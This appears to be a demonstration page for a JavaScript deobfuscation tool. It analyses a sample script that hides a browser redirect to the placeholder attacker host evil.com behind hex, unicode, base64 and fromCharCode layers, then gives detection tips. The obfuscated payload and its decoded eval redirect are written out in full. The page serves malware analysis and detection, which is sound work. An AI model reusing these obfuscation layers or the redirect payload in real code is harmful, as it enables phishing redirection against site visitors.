JavaScript
JavaScript Multi-Layer Obfuscation
1 The obfuscated script
This JavaScript uses four different obfuscation techniques in a single script. Each technique hides a piece of the payload, and together they reconstruct an eval() call.
var _0x1a2b = '\x68\x74\x74\x70\x73\x3a\x2f\x2f\x65\x76\x69\x6c\x2e\x63\x6f\x6d\x2f\x70\x61\x79\x6c\x6f\x61\x64';
var _0x3c4d = String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116);
var _0x5e6f = atob("bG9jYXRpb24uaHJlZg==");
var _0x7g8h = '\u0068\u0074\u0074\u0070\u0073\u003a\u002f\u002f\u0065\u0076\u0069\u006c\u002e\u0063\u006f\u006d';
eval(_0x3c4d + '.' + _0x5e6f + '="' + _0x7g8h + '"');
2 Run the deobfuscator
deobfuscator -f samples/multi-layer.js
Output:
✓ Decoded hex-escaped strings
✓ Decoded unicode escapes
✓ Decoded base64 strings (atob)
✓ Unpacked String.fromCharCode() arrays
Deobfuscated:
var _0x1a2b = "https://evil.com/payload";
var _0x3c4d = "document";
var _0x5e6f = "location.href";
var _0x7g8h = "https://evil.com";
eval(document.location.href="https://evil.com");
For deeper analysis, run with the LLM engine:
deobfuscator -f samples/multi-layer.js --llm --api-key $OPENAI_API_KEY
3 Breaking down each layer
| Variable | Technique | Decoded Value |
|---|---|---|
_0x1a2b |
Hex escape sequence | "https://evil.com/payload" |
_0x3c4d |
String.fromCharCode() |
"document" |
_0x5e6f |
atob() (Base64) |
"location.href" |
_0x7g8h |
Unicode escape | "https://evil.com" |
4 Detection guidance
- eval() usage: Rarely used in legitimate JS.
eval(atob(...))is almost always malicious - String.fromCharCode with 5+ values: Used to reconstruct variable names or URLs
- Long hex/unicode escape sequences: Each character encoded individually is a strong obfuscation signal
- Redirection:
document.location.hrefassignment redirects the browser to an attacker-controlled site
Verdict: Malicious — Phishing Redirection
Redirects the victim's browser to an attacker-controlled domain. Often used in credential harvesting or drive-by download campaigns.